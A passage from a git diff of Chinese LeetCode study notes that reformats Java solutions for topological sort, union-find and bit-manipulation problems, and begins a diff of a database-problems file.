+        graphic[i] = new ArrayList<>();
+    }
+    for (int[] pre : prerequisites) {
+        graphic[pre[0]].add(pre[1]);
+    }
+    boolean[] globalMarked = new boolean[numCourses];
+    boolean[] localMarked = new boolean[numCourses];
+    for (int i = 0; i < numCourses; i++) {
+        if (hasCycle(globalMarked, localMarked, graphic, i)) {
+            return false;
+        }
+    }
+    return true;
 }
 
-private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked,
-                         List<Integer>[] graphic, int curNode) {
+private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked,
+                         List<Integer>[] graphic, int curNode) {
 
-    if (localMarked[curNode]) {
-        return true;
-    }
-    if (globalMarked[curNode]) {
-        return false;
-    }
-    globalMarked[curNode] = true;
-    localMarked[curNode] = true;
-    for (int nextNode : graphic[curNode]) {
-        if (hasCycle(globalMarked, localMarked, graphic, nextNode)) {
-            return true;
-        }
-    }
-    localMarked[curNode] = false;
-    return false;
+    if (localMarked[curNode]) {
+        return true;
+    }
+    if (globalMarked[curNode]) {
+        return false;
+    }
+    globalMarked[curNode] = true;
+    localMarked[curNode] = true;
+    for (int nextNode : graphic[curNode]) {
+        if (hasCycle(globalMarked, localMarked, graphic, nextNode)) {
+            return true;
+        }
+    }
+    localMarked[curNode] = false;
+    return false;
 }
 ```
 
-**课程安排的顺序** 
+**课程安排的顺序**
 
-[210. Course Schedule II (Medium)](https://leetcode.com/problems/course-schedule-ii/description/)
+[210. Course Schedule II (Medium)](https://leetcode.com/problems/course-schedule-ii/description/)
 
 ```html
-4, [[1,0],[2,0],[3,1],[3,2]]
-There are a total of 4 courses to take. To take course 3 you should have finished both courses 1 and 2. Both courses 1 and 2 should be taken after you finished course 0. So one correct course order is [0,1,2,3]. Another correct ordering is[0,2,1,3].
+4, [[1,0],[2,0],[3,1],[3,2]]
+There are a total of 4 courses to take. To take course 3 you should have finished both courses 1 and 2. Both courses 1 and 2 should be taken after you finished course 0. So one correct course order is [0,1,2,3]. Another correct ordering is[0,2,1,3].
 ```
 
-使用 DFS 来实现拓扑排序，使用一个栈存储后序遍历结果，这个栈的逆序结果就是拓扑排序结果。
+使用 DFS 来实现拓扑排序，使用一个栈存储后序遍历结果，这个栈的逆序结果就是拓扑排序结果。
 
-证明：对于任何先序关系：v->w，后序遍历结果可以保证 w 先进入栈中，因此栈的逆序结果中 v 会在 w 之前。
+证明：对于任何先序关系：v->w，后序遍历结果可以保证 w 先进入栈中，因此栈的逆序结果中 v 会在 w 之前。
 
 ```java
-public int[] findOrder(int numCourses, int[][] prerequisites) {
-    List<Integer>[] graphic = new List[numCourses];
-    for (int i = 0; i < numCourses; i++) {
-        graphic[i] = new ArrayList<>();
-    }
-    for (int[] pre : prerequisites) {
-        graphic[pre[0]].add(pre[1]);
-    }
-    Stack<Integer> postOrder = new Stack<>();
-    boolean[] globalMarked = new boolean[numCourses];
-    boolean[] localMarked = new boolean[numCourses];
-    for (int i = 0; i < numCourses; i++) {
-        if (hasCycle(globalMarked, localMarked, graphic, i, postOrder)) {
-            return new int[0];
-        }
-    }
-    int[] orders = new int[numCourses];
-    for (int i = numCourses - 1; i >= 0; i--) {
-        orders[i] = postOrder.pop();
-    }
-    return orders;
+public int[] findOrder(int numCourses, int[][] prerequisites) {
+    List<Integer>[] graphic = new List[numCourses];
+    for (int i = 0; i < numCourses; i++) {
+        graphic[i] = new ArrayList<>();
+    }
+    for (int[] pre : prerequisites) {
+        graphic[pre[0]].add(pre[1]);
+    }
+    Stack<Integer> postOrder = new Stack<>();
+    boolean[] globalMarked = new boolean[numCourses];
+    boolean[] localMarked = new boolean[numCourses];
+    for (int i = 0; i < numCourses; i++) {
+        if (hasCycle(globalMarked, localMarked, graphic, i, postOrder)) {
+            return new int[0];
+        }
+    }
+    int[] orders = new int[numCourses];
+    for (int i = numCourses - 1; i >= 0; i--) {
+        orders[i] = postOrder.pop();
+    }
+    return orders;
 }
 
-private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked, List<Integer>[] graphic,
-                         int curNode, Stack<Integer> postOrder) {
+private boolean hasCycle(boolean[] globalMarked, boolean[] localMarked, List<Integer>[] graphic,
+                         int curNode, Stack<Integer> postOrder) {
 
-    if (localMarked[curNode]) {
-        return true;
-    }
-    if (globalMarked[curNode]) {
-        return false;
-    }
-    globalMarked[curNode] = true;
-    localMarked[curNode] = true;
-    for (int nextNode : graphic[curNode]) {
-        if (hasCycle(globalMarked, localMarked, graphic, nextNode, postOrder)) {
-            return true;
-        }
-    }
-    localMarked[curNode] = false;
-    postOrder.push(curNode);
-    return false;
+    if (localMarked[curNode]) {
+        return true;
+    }
+    if (globalMarked[curNode]) {
+        return false;
+    }
+    globalMarked[curNode] = true;
+    localMarked[curNode] = true;
+    for (int nextNode : graphic[curNode]) {
+        if (hasCycle(globalMarked, localMarked, graphic, nextNode, postOrder)) {
+            return true;
+        }
+    }
+    localMarked[curNode] = false;
+    postOrder.push(curNode);
+    return false;
 }
 ```
 
-### 并查集
+### 并查集
 
 并查集可以动态地连通两个点，并且可以非常快速地判断两个点是否连通。
 
-**冗余连接** 
+**冗余连接**
 
-[684. Redundant Connection (Medium)](https://leetcode.com/problems/redundant-connection/description/)
+[684. Redundant Connection (Medium)](https://leetcode.com/problems/redundant-connection/description/)
 
 ```html
-Input: [[1,2], [1,3], [2,3]]
-Output: [2,3]
-Explanation: The given undirected graph will be like this:
-  1
- / \
-2 - 3
+Input: [[1,2], [1,3], [2,3]]
+Output: [2,3]
+Explanation: The given undirected graph will be like this:
+  1
+ / \
+2 - 3
 ```
 
 题目描述：有一系列的边连成的图，找出一条边，移除它之后该图能够成为一棵树。
 
 ```java
-public int[] findRedundantConnection(int[][] edges) {
-    int N = edges.length;
-    UF uf = new UF(N);
-    for (int[] e : edges) {
-        int u = e[0], v = e[1];
-        if (uf.connect(u, v)) {
-            return e;
-        }
-        uf.union(u, v);
-    }
-    return new int[]{-1, -1};
+public int[] findRedundantConnection(int[][] edges) {
+    int N = edges.length;
+    UF uf = new UF(N);
+    for (int[] e : edges) {
+        int u = e[0], v = e[1];
+        if (uf.connect(u, v)) {
+            return e;
+        }
+        uf.union(u, v);
+    }
+    return new int[]{-1, -1};
 }
 
-private class UF {
+private class UF {
 
-    private int[] id;
+    private int[] id;
 
-    UF(int N) {
-        id = new int[N + 1];
-        for (int i = 0; i < id.length; i++) {
-            id[i] = i;
-        }
-    }
+    UF(int N) {
+        id = new int[N + 1];
+        for (int i = 0; i < id.length; i++) {
+            id[i] = i;
+        }
+    }
 
-    void union(int u, int v) {
-        int uID = find(u);
-        int vID = find(v);
-        if (uID == vID) {
-            return;
-        }
-        for (int i = 0; i < id.length; i++) {
-            if (id[i] == uID) {
-                id[i] = vID;
-            }
-        }
-    }
+    void union(int u, int v) {
+        int uID = find(u);
+        int vID = find(v);
+        if (uID == vID) {
+            return;
+        }
+        for (int i = 0; i < id.length; i++) {
+            if (id[i] == uID) {
+                id[i] = vID;
+            }
+        }
+    }
 
-    int find(int p) {
-        return id[p];
-    }
+    int find(int p) {
+        return id[p];
+    }
 
-    boolean connect(int u, int v) {
-        return find(u) == find(v);
-    }
+    boolean connect(int u, int v) {
+        return find(u) == find(v);
+    }
 }
 ```
 
-## 位运算
+## 位运算
 
-**1. 基本原理** 
+**1. 基本原理**
 
-0s 表示一串 0，1s 表示一串 1。
+0s 表示一串 0，1s 表示一串 1。
 
 ```
-x ^ 0s = x      x & 0s = 0      x | 0s = x
-x ^ 1s = ~x     x & 1s = x      x | 1s = 1s
-x ^ x = 0       x & x = x       x | x = x
+x ^ 0s = x      x & 0s = 0      x | 0s = x
+x ^ 1s = ~x     x & 1s = x      x | 1s = 1s
+x ^ x = 0       x & x = x       x | x = x
 ```
 
-- 利用 x ^ 1s = \~x 的特点，可以将位级表示翻转；利用 x ^ x = 0 的特点，可以将三个数中重复的两个数去除，只留下另一个数。
-- 利用 x & 0s = 0 和 x & 1s = x 的特点，可以实现掩码操作。一个数 num 与 mask：00111100 进行位与操作，只保留 num 中与 mask 的 1 部分相对应的位。
-- 利用 x | 0s = x 和 x | 1s = 1s 的特点，可以实现设值操作。一个数 num 与 mask：00111100 进行位或操作，将 num 中与 mask 的 1 部分相对应的位都设置为 1。
+- 利用 x ^ 1s = ~x 的特点，可以将位级表示翻转；利用 x ^ x = 0 的特点，可以将三个数中重复的两个数去除，只留下另一个数。
+- 利用 x & 0s = 0 和 x & 1s = x 的特点，可以实现掩码操作。一个数 num 与 mask：00111100 进行位与操作，只保留 num 中与 mask 的 1 部分相对应的位。
+- 利用 x | 0s = x 和 x | 1s = 1s 的特点，可以实现设值操作。一个数 num 与 mask：00111100 进行位或操作，将 num 中与 mask 的 1 部分相对应的位都设置为 1。
 
 位与运算技巧：
 
-- n&(n-1) 去除 n 的位级表示中最低的那一位。例如对于二进制表示 10110 **100** ，减去 1 得到 10110**011**，这两个数相与得到 10110**000**。
-- n&(-n) 得到 n 的位级表示中最低的那一位。-n 得到 n 的反码加 1，对于二进制表示 10110 **100** ，-n 得到 01001**100**，相与得到 00000**100**。
-- n-n&(\~n+1) 去除 n 的位级表示中最高的那一位。
+- n&(n-1) 去除 n 的位级表示中最低的那一位。例如对于二进制表示 10110**100**，减去 1 得到 10110**011**，这两个数相与得到 10110**000**。
+- n&(-n) 得到 n 的位级表示中最低的那一位。-n 得到 n 的反码加 1，对于二进制表示 10110**100**，-n 得到 01001**100**，相与得到 00000**100**。
+- n-n&(~n+1) 去除 n 的位级表示中最高的那一位。
 
 移位运算：
 
-- \>\> n 为算术右移，相当于除以 2<sup>n</sup>；
-- \>\>\> n 为无符号右移，左边会补上 0。
-- &lt;&lt; n 为算术左移，相当于乘以 2<sup>n</sup>。
+- \>\> n 为算术右移，相当于除以 2<sup>n</sup>；
+- \>\>\> n 为无符号右移，左边会补上 0。
+- &lt;&lt; n 为算术左移，相当于乘以 2<sup>n</sup>。
 
-**2. mask 计算** 
+**2. mask 计算**
 
-要获取 111111111，将 0 取反即可，\~0。
+要获取 111111111，将 0 取反即可，~0。
 
-要得到只有第 i 位为 1 的 mask，将 1 向左移动 i-1 位即可，1&lt;&lt;(i-1) 。例如 1&lt;&lt;4 得到只有第 5 位为 1 的 mask ：00010000。
+要得到只有第 i 位为 1 的 mask，将 1 向左移动 i-1 位即可，1&lt;&lt;(i-1) 。例如 1&lt;&lt;4 得到只有第 5 位为 1 的 mask ：00010000。
 
-要得到 1 到 i 位为 1 的 mask，1&lt;&lt;(i+1)-1 即可，例如将 1&lt;&lt;(4+1)-1 = 00010000-1 = 00001111。
+要得到 1 到 i 位为 1 的 mask，1&lt;&lt;(i+1)-1 即可，例如将 1&lt;&lt;(4+1)-1 = 00010000-1 = 00001111。
 
-要得到 1 到 i 位为 0 的 mask，只需将 1 到 i 位为 1 的 mask 取反，即 \~(1&lt;&lt;(i+1)-1)。
+要得到 1 到 i 位为 0 的 mask，只需将 1 到 i 位为 1 的 mask 取反，即 ~(1&lt;&lt;(i+1)-1)。
 
-**3. Java 中的位操作** 
+**3. Java 中的位操作**
 
 ```html
-static int Integer.bitCount();           // 统计 1 的数量
-static int Integer.highestOneBit();      // 获得最高位
-static String toBinaryString(int i);     // 转换为二进制表示的字符串
+static int Integer.bitCount();           // 统计 1 的数量
+static int Integer.highestOneBit();      // 获得最高位
+static String toBinaryString(int i);     // 转换为二进制表示的字符串
 ```
 
-**统计两个数的二进制表示有多少位不同** 
+**统计两个数的二进制表示有多少位不同**
 
-[461. Hamming Distance (Easy)](https://leetcode.com/problems/hamming-distance/)
+[461. Hamming Distance (Easy)](https://leetcode.com/problems/hamming-distance/)
 
 ```html
-Input: x = 1, y = 4
+Input: x = 1, y = 4
 
-Output: 2
+Output: 2
 
 Explanation:
-1   (0 0 0 1)
-4   (0 1 0 0)
-       ↑   ↑
+1   (0 0 0 1)
+4   (0 1 0 0)
+       ↑   ↑
 
-The above arrows point to positions where the corresponding bits are different.
+The above arrows point to positions where the corresponding bits are different.
 ```
 
-对两个数进行异或操作，位级表示不同的那一位为 1，统计有多少个 1 即可。
+对两个数进行异或操作，位级表示不同的那一位为 1，统计有多少个 1 即可。
 
 ```java
-public int hammingDistance(int x, int y) {
-    int z = x ^ y;
-    int cnt = 0;
-    while(z != 0) {
-        if ((z & 1) == 1) cnt++;
-        z = z >> 1;
-    }
-    return cnt;
+public int hammingDistance(int x, int y) {
+    int z = x ^ y;
+    int cnt = 0;
+    while(z != 0) {
+        if ((z & 1) == 1) cnt++;
+        z = z >> 1;
+    }
+    return cnt;
 }
 ```
 
-使用 z&(z-1) 去除 z 位级表示最低的那一位。
+使用 z&(z-1) 去除 z 位级表示最低的那一位。
 
 ```java
-public int hammingDistance(int x, int y) {
-    int z = x ^ y;
-    int cnt = 0;
-    while (z != 0) {
-        z &= (z - 1);
-        cnt++;
-    }
-    return cnt;
+public int hammingDistance(int x, int y) {
+    int z = x ^ y;
+    int cnt = 0;
+    while (z != 0) {
+        z &= (z - 1);
+        cnt++;
+    }
+    return cnt;
 }
 ```
 
-可以使用 Integer.bitcount() 来统计 1 个的个数。
+可以使用 Integer.bitcount() 来统计 1 个的个数。
 
 ```java
-public int hammingDistance(int x, int y) {
-    return Integer.bitCount(x ^ y);
+public int hammingDistance(int x, int y) {
+    return Integer.bitCount(x ^ y);
 }
 ```
 
-**数组中唯一一个不重复的元素** 
+**数组中唯一一个不重复的元素**
 
-[136. Single Number (Easy)](https://leetcode.com/problems/single-number/description/)
+[136. Single Number (Easy)](https://leetcode.com/problems/single-number/description/)
 
 ```html
-Input: [4,1,2,1,2]
-Output: 4
+Input: [4,1,2,1,2]
+Output: 4
 ```
 
-两个相同的数异或的结果为 0，对所有数进行异或操作，最后的结果就是单独出现的那个数。
+两个相同的数异或的结果为 0，对所有数进行异或操作，最后的结果就是单独出现的那个数。
 
 ```java
-public int singleNumber(int[] nums) {
-    int ret = 0;
-    for (int n : nums) ret = ret ^ n;
-    return ret;
+public int singleNumber(int[] nums) {
+    int ret = 0;
+    for (int n : nums) ret = ret ^ n;
+    return ret;
 }
 ```
 
-**找出数组中缺失的那个数** 
+**找出数组中缺失的那个数**
 
-[268. Missing Number (Easy)](https://leetcode.com/problems/missing-number/description/)
+[268. Missing Number (Easy)](https://leetcode.com/problems/missing-number/description/)
 
 ```html
-Input: [3,0,1]
-Output: 2
+Input: [3,0,1]
+Output: 2
 ```
 
-题目描述：数组元素在 0-n 之间，但是有一个数是缺失的，要求找到这个缺失的数。
+题目描述：数组元素在 0-n 之间，但是有一个数是缺失的，要求找到这个缺失的数。
 
 ```java
-public int missingNumber(int[] nums) {
-    int ret = 0;
-    for (int i = 0; i < nums.length; i++) {
-        ret = ret ^ i ^ nums[i];
-    }
-    return ret ^ nums.length;
+public int missingNumber(int[] nums) {
+    int ret = 0;
+    for (int i = 0; i < nums.length; i++) {
+        ret = ret ^ i ^ nums[i];
+    }
+    return ret ^ nums.length;
 }
 ```
 
-**数组中不重复的两个元素** 
+**数组中不重复的两个元素**
 
-[260. Single Number III (Medium)](https://leetcode.com/problems/single-number-iii/description/)
+[260. Single Number III (Medium)](https://leetcode.com/problems/single-number-iii/description/)
 
 两个不相等的元素在位级表示上必定会有一位存在不同。
 
 将数组的所有元素异或得到的结果为不存在重复的两个元素异或的结果。
 
-diff &= -diff 得到出 diff 最右侧不为 0 的位，也就是不存在重复的两个元素在位级表示上最右侧不同的那一位，利用这一位就可以将两个元素区分开来。
+diff &= -diff 得到出 diff 最右侧不为 0 的位，也就是不存在重复的两个元素在位级表示上最右侧不同的那一位，利用这一位就可以将两个元素区分开来。
 
 ```java
-public int[] singleNumber(int[] nums) {
-    int diff = 0;
-    for (int num : nums) diff ^= num;
-    diff &= -diff;  // 得到最右一位
-    int[] ret = new int[2];
-    for (int num : nums) {
-        if ((num & diff) == 0) ret[0] ^= num;
-        else ret[1] ^= num;
-    }
-    return ret;
+public int[] singleNumber(int[] nums) {
+    int diff = 0;
+    for (int num : nums) diff ^= num;
+    diff &= -diff;  // 得到最右一位
+    int[] ret = new int[2];
+    for (int num : nums) {
+        if ((num & diff) == 0) ret[0] ^= num;
+        else ret[1] ^= num;
+    }
+    return ret;
 }
 ```
 
-**翻转一个数的比特位** 
+**翻转一个数的比特位**
 
-[190. Reverse Bits (Easy)](https://leetcode.com/problems/reverse-bits/description/)
+[190. Reverse Bits (Easy)](https://leetcode.com/problems/reverse-bits/description/)
 
 ```java
-public int reverseBits(int n) {
-    int ret = 0;
-    for (int i = 0; i < 32; i++) {
-        ret <<= 1;
-        ret |= (n & 1);
-        n >>>= 1;
-    }
-    return ret;
+public int reverseBits(int n) {
+    int ret = 0;
+    for (int i = 0; i < 32; i++) {
+        ret <<= 1;
+        ret |= (n & 1);
+        n >>>= 1;
+    }
+    return ret;
 }
 ```
 
-如果该函数需要被调用很多次，可以将 int 拆成 4 个 byte，然后缓存 byte 对应的比特位翻转，最后再拼接起来。
+如果该函数需要被调用很多次，可以将 int 拆成 4 个 byte，然后缓存 byte 对应的比特位翻转，最后再拼接起来。
 
 ```java
-private static Map<Byte, Integer> cache = new HashMap<>();
+private static Map<Byte, Integer> cache = new HashMap<>();
 
-public int reverseBits(int n) {
-    int ret = 0;
-    for (int i = 0; i < 4; i++) {
-        ret <<= 8;
-        ret |= reverseByte((byte) (n & 0b11111111));
-        n >>= 8;
-    }
-    return ret;
+public int reverseBits(int n) {
+    int ret = 0;
+    for (int i = 0; i < 4; i++) {
+        ret <<= 8;
+        ret |= reverseByte((byte) (n & 0b11111111));
+        n >>= 8;
+    }
+    return ret;
 }
 
-private int reverseByte(byte b) {
-    if (cache.containsKey(b)) return cache.get(b);
-    int ret = 0;
-    byte t = b;
-    for (int i = 0; i < 8; i++) {
-        ret <<= 1;
-        ret |= t & 1;
-        t >>= 1;
-    }
-    cache.put(b, ret);
-    return ret;
+private int reverseByte(byte b) {
+    if (cache.containsKey(b)) return cache.get(b);
+    int ret = 0;
+    byte t = b;
+    for (int i = 0; i < 8; i++) {
+        ret <<= 1;
+        ret |= t & 1;
+        t >>= 1;
+    }
+    cache.put(b, ret);
+    return ret;
 }
 ```
 
-**不用额外变量交换两个整数** 
+**不用额外变量交换两个整数**
 
-[程序员代码面试指南 ：P317](#)
+[程序员代码面试指南 ：P317](#)
 
 ```java
-a = a ^ b;
-b = a ^ b;
-a = a ^ b;
+a = a ^ b;
+b = a ^ b;
+a = a ^ b;
 ```
 
-**判断一个数是不是 2 的 n 次方** 
+**判断一个数是不是 2 的 n 次方**
 
-[231. Power of Two (Easy)](https://leetcode.com/problems/power-of-two/description/)
+[231. Power of Two (Easy)](https://leetcode.com/problems/power-of-two/description/)
 
-二进制表示只有一个 1 存在。
+二进制表示只有一个 1 存在。
 
 ```java
-public boolean isPowerOfTwo(int n) {
-    return n > 0 && Integer.bitCount(n) == 1;
+public boolean isPowerOfTwo(int n) {
+    return n > 0 && Integer.bitCount(n) == 1;
 }
 ```
 
-利用 1000 & 0111 == 0 这种性质，得到以下解法：
+利用 1000 & 0111 == 0 这种性质，得到以下解法：
 
 ```java
-public boolean isPowerOfTwo(int n) {
-    return n > 0 && (n & (n - 1)) == 0;
+public boolean isPowerOfTwo(int n) {
+    return n > 0 && (n & (n - 1)) == 0;
 }
 ```
 
-**判断一个数是不是 4 的 n 次方** 
+**判断一个数是不是 4 的 n 次方**
 
-[342. Power of Four (Easy)](https://leetcode.com/problems/power-of-four/)
+[342. Power of Four (Easy)](https://leetcode.com/problems/power-of-four/)
 
-这种数在二进制表示中有且只有一个奇数位为 1，例如 16（10000）。
+这种数在二进制表示中有且只有一个奇数位为 1，例如 16（10000）。
 
 ```java
-public boolean isPowerOfFour(int num) {
-    return num > 0 && (num & (num - 1)) == 0 && (num & 0b01010101010101010101010101010101) != 0;
+public boolean isPowerOfFour(int num) {
+    return num > 0 && (num & (num - 1)) == 0 && (num & 0b01010101010101010101010101010101) != 0;
 }
 ```
 
 也可以使用正则表达式进行匹配。
 
 ```java
-public boolean isPowerOfFour(int num) {
-    return Integer.toString(num, 4).matches("10*");
+public boolean isPowerOfFour(int num) {
+    return Integer.toString(num, 4).matches("10*");
 }
 ```
 
-**判断一个数的位级表示是否不会出现连续的 0 和 1** 
+**判断一个数的位级表示是否不会出现连续的 0 和 1**
 
-[693. Binary Number with Alternating Bits (Easy)](https://leetcode.com/problems/binary-number-with-alternating-bits/description/)
+[693. Binary Number with Alternating Bits (Easy)](https://leetcode.com/problems/binary-number-with-alternating-bits/description/)
 
 ```html
-Input: 10
-Output: True
+Input: 10
+Output: True
 Explanation:
-The binary representation of 10 is: 1010.
+The binary representation of 10 is: 1010.
 
-Input: 11
-Output: False
+Input: 11
+Output: False
 Explanation:
-The binary representation of 11 is: 1011.
+The binary representation of 11 is: 1011.
 ```
 
-对于 1010 这种位级表示的数，把它向右移动 1 位得到 101，这两个数每个位都不同，因此异或得到的结果为 1111。
+对于 1010 这种位级表示的数，把它向右移动 1 位得到 101，这两个数每个位都不同，因此异或得到的结果为 1111。
 
 ```java
-public boolean hasAlternatingBits(int n) {
-    int a = (n ^ (n >> 1));
-    return (a & (a + 1)) == 0;
+public boolean hasAlternatingBits(int n) {
+    int a = (n ^ (n >> 1));
+    return (a & (a + 1)) == 0;
 }
 ```
 
-**求一个数的补码** 
+**求一个数的补码**
 
-[476. Number Complement (Easy)](https://leetcode.com/problems/number-complement/description/)
+[476. Number Complement (Easy)](https://leetcode.com/problems/number-complement/description/)
 
 ```html
-Input: 5
-Output: 2
-Explanation: The binary representation of 5 is 101 (no leading zero bits), and its complement is 010. So you need to output 2.
+Input: 5
+Output: 2
+Explanation: The binary representation of 5 is 101 (no leading zero bits), and its complement is 010. So you need to output 2.
 ```
 
-题目描述：不考虑二进制表示中的首 0 部分。
+题目描述：不考虑二进制表示中的首 0 部分。
 
-对于 00000101，要求补码可以将它与 00000111 进行异或操作。那么问题就转换为求掩码 00000111。
+对于 00000101，要求补码可以将它与 00000111 进行异或操作。那么问题就转换为求掩码 00000111。
 
 ```java
-public int findComplement(int num) {
-    if (num == 0) return 1;
-    int mask = 1 << 30;
-    while ((num & mask) == 0) mask >>= 1;
-    mask = (mask << 1) - 1;
-    return num ^ mask;
+public int findComplement(int num) {
+    if (num == 0) return 1;
+    int mask = 1 << 30;
+    while ((num & mask) == 0) mask >>= 1;
+    mask = (mask << 1) - 1;
+    return num ^ mask;
 }
 ```
 
-可以利用 Java 的 Integer.highestOneBit() 方法来获得含有首 1 的数。
+可以利用 Java 的 Integer.highestOneBit() 方法来获得含有首 1 的数。
 
 ```java
-public int findComplement(int num) {
-    if (num == 0) return 1;
-    int mask = Integer.highestOneBit(num);
-    mask = (mask << 1) - 1;
-    return num ^ mask;
+public int findComplement(int num) {
+    if (num == 0) return 1;
+    int mask = Integer.highestOneBit(num);
+    mask = (mask << 1) - 1;
+    return num ^ mask;
 }
 ```
 
-对于 10000000 这样的数要扩展成 11111111，可以利用以下方法：
+对于 10000000 这样的数要扩展成 11111111，可以利用以下方法：
 
 ```html
-mask |= mask >> 1    11000000
-mask |= mask >> 2    11110000
-mask |= mask >> 4    11111111
+mask |= mask >> 1    11000000
+mask |= mask >> 2    11110000
+mask |= mask >> 4    11111111
 ```
 
 ```java
-public int findComplement(int num) {
-    int mask = num;
-    mask |= mask >> 1;
-    mask |= mask >> 2;
-    mask |= mask >> 4;
-    mask |= mask >> 8;
-    mask |= mask >> 16;
-    return (mask ^ num);
+public int findComplement(int num) {
+    int mask = num;
+    mask |= mask >> 1;
+    mask |= mask >> 2;
+    mask |= mask >> 4;
+    mask |= mask >> 8;
+    mask |= mask >> 16;
+    return (mask ^ num);
 }
 ```
 
-**实现整数的加法** 
+**实现整数的加法**
 
-[371. Sum of Two Integers (Easy)](https://leetcode.com/problems/sum-of-two-integers/description/)
+[371. Sum of Two Integers (Easy)](https://leetcode.com/problems/sum-of-two-integers/description/)
 
-a ^ b 表示没有考虑进位的情况下两数的和，(a & b) << 1 就是进位。
+a ^ b 表示没有考虑进位的情况下两数的和，(a & b) << 1 就是进位。
 
-递归会终止的原因是 (a & b) << 1 最右边会多一个 0，那么继续递归，进位最右边的 0 会慢慢增多，最后进位会变为 0，递归终止。
+递归会终止的原因是 (a & b) << 1 最右边会多一个 0，那么继续递归，进位最右边的 0 会慢慢增多，最后进位会变为 0，递归终止。
 
 ```java
-public int getSum(int a, int b) {
-    return b == 0 ? a : getSum((a ^ b), (a & b) << 1);
+public int getSum(int a, int b) {
+    return b == 0 ? a : getSum((a ^ b), (a & b) << 1);
 }
 ```
 
-**字符串数组最大乘积** 
+**字符串数组最大乘积**
 
-[318. Maximum Product of Word Lengths (Medium)](https://leetcode.com/problems/maximum-product-of-word-lengths/description/)
+[318. Maximum Product of Word Lengths (Medium)](https://leetcode.com/problems/maximum-product-of-word-lengths/description/)
 
 ```html
-Given ["abcw", "baz", "foo", "bar", "xtfn", "abcdef"]
-Return 16
-The two words can be "abcw", "xtfn".
+Given ["abcw", "baz", "foo", "bar", "xtfn", "abcdef"]
+Return 16
+The two words can be "abcw", "xtfn".
 ```
 
 题目描述：字符串数组的字符串只含有小写字符。求解字符串数组中两个字符串长度的最大乘积，要求这两个字符串不能含有相同字符。
 
-本题主要问题是判断两个字符串是否含相同字符，由于字符串只含有小写字符，总共 26 位，因此可以用一个 32 位的整数来存储每个字符是否出现过。
+本题主要问题是判断两个字符串是否含相同字符，由于字符串只含有小写字符，总共 26 位，因此可以用一个 32 位的整数来存储每个字符是否出现过。
 
 ```java
-public int maxProduct(String[] words) {
-    int n = words.length;
-    int[] val = new int[n];
-    for (int i = 0; i < n; i++) {
-        for (char c : words[i].toCharArray()) {
-            val[i] |= 1 << (c - 'a');
-        }
-    }
-    int ret = 0;
-    for (int i = 0; i < n; i++) {
-        for (int j = i + 1; j < n; j++) {
-            if ((val[i] & val[j]) == 0) {
-                ret = Math.max(ret, words[i].length() * words[j].length());
-            }
-        }
-    }
-    return ret;
+public int maxProduct(String[] words) {
+    int n = words.length;
+    int[] val = new int[n];
+    for (int i = 0; i < n; i++) {
+        for (char c : words[i].toCharArray()) {
+            val[i] |= 1 << (c - 'a');
+        }
+    }
+    int ret = 0;
+    for (int i = 0; i < n; i++) {
+        for (int j = i + 1; j < n; j++) {
+            if ((val[i] & val[j]) == 0) {
+                ret = Math.max(ret, words[i].length() * words[j].length());
+            }
+        }
+    }
+    return ret;
 }
 ```
 
-**统计从 0 \~ n 每个数的二进制表示中 1 的个数** 
+**统计从 0 ~ n 每个数的二进制表示中 1 的个数**
 
-[338. Counting Bits (Medium)](https://leetcode.com/problems/counting-bits/description/)
+[338. Counting Bits (Medium)](https://leetcode.com/problems/counting-bits/description/)
 
-对于数字 6(110)，它可以看成是 4(100) 再加一个 2(10)，因此 dp[i] = dp[i&(i-1)] + 1;
+对于数字 6(110)，它可以看成是 4(100) 再加一个 2(10)，因此 dp[i] = dp[i&(i-1)] + 1;
 
 ```java
-public int[] countBits(int num) {
-    int[] ret = new int[num + 1];
-    for(int i = 1; i <= num; i++){
-        ret[i] = ret[i&(i-1)] + 1;
-    }
-    return ret;
+public int[] countBits(int num) {
+    int[] ret = new int[num + 1];
+    for(int i = 1; i <= num; i++){
+        ret[i] = ret[i&(i-1)] + 1;
+    }
+    return ret;
 }
 ```
 
-# 参考资料
+# 参考资料
 
-- [Leetcode](https://leetcode.com/problemset/algorithms/?status=Todo)
-- Weiss M A, 冯舜玺. 数据结构与算法分析——C 语言描述[J]. 2004.
-- Sedgewick R. Algorithms[M]. Pearson Education India, 1988.
-- 何海涛, 软件工程师. 剑指 Offer: 名企面试官精讲典型编程题[M]. 电子工业出版社, 2014.
-- 《编程之美》小组. 编程之美[M]. 电子工业出版社, 2008.
-- 左程云. 程序员代码面试指南[M]. 电子工业出版社, 2015.
+- [Leetcode](https://leetcode.com/problemset/algorithms/?status=Todo)
+- Weiss M A, 冯舜玺. 数据结构与算法分析——C 语言描述[J]. 2004.
+- Sedgewick R. Algorithms[M]. Pearson Education India, 1988.
+- 何海涛, 软件工程师. 剑指 Offer: 名企面试官精讲典型编程题[M]. 电子工业出版社, 2014.
+- 《编程之美》小组. 编程之美[M]. 电子工业出版社, 2008.
+- 左程云. 程序员代码面试指南[M]. 电子工业出版社, 2015.
diff --git a/docs/notes/Leetcode-Database 题解.md b/docs/notes/Leetcode-Database 题解.md
index 3ced862e..fcb4966f 100644
--- a/docs/notes/Leetcode-Database 题解.md	
+++ b/docs/notes/Leetcode-Database 题解.md	
@@ -1,269 +1,249 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [595. Big Countries](#595-big-countries)
-* [627. Swap Salary](#627-swap-salary)
-* [620. Not Boring Movies](#620-not-boring-movies)
-* [596. Classes More Than 5 Students](#596-classes-more-than-5-students)
-* [182. Duplicate Emails](#182-duplicate-emails)
-* [196. Delete Duplicate Emails](#196-delete-duplicate-emails)
-* [175. Combine Two Tables](#175-combine-two-tables)
-* [181. Employees Earning More Than Their Managers](#181-employees-earning-more-than-their-managers)
-* [183. Customers Who Never Order](#183-customers-who-never-order)
-* [184. Department Highest Salary](#184-department-highest-salary)
-* [176. Second Highest Salary](#176-second-highest-salary)
-* [177. Nth Highest Salary](#177-nth-highest-salary)
-* [178. Rank Scores](#178-rank-scores)
-* [180. Consecutive Numbers](#180-consecutive-numbers)
-* [626. Exchange Seats](#626-exchange-seats)
-<!-- GFM-TOC -->
-
-
-# 595. Big Countries
+# 595. Big Countries
 
 https://leetcode.com/problems/big-countries/description/
 
-## Description
+## Description
 
 ```html
 +-----------------+------------+------------+--------------+---------------+
-| name            | continent  | area       | population   | gdp           |
+| name            | continent  | area       | population   | gdp           |
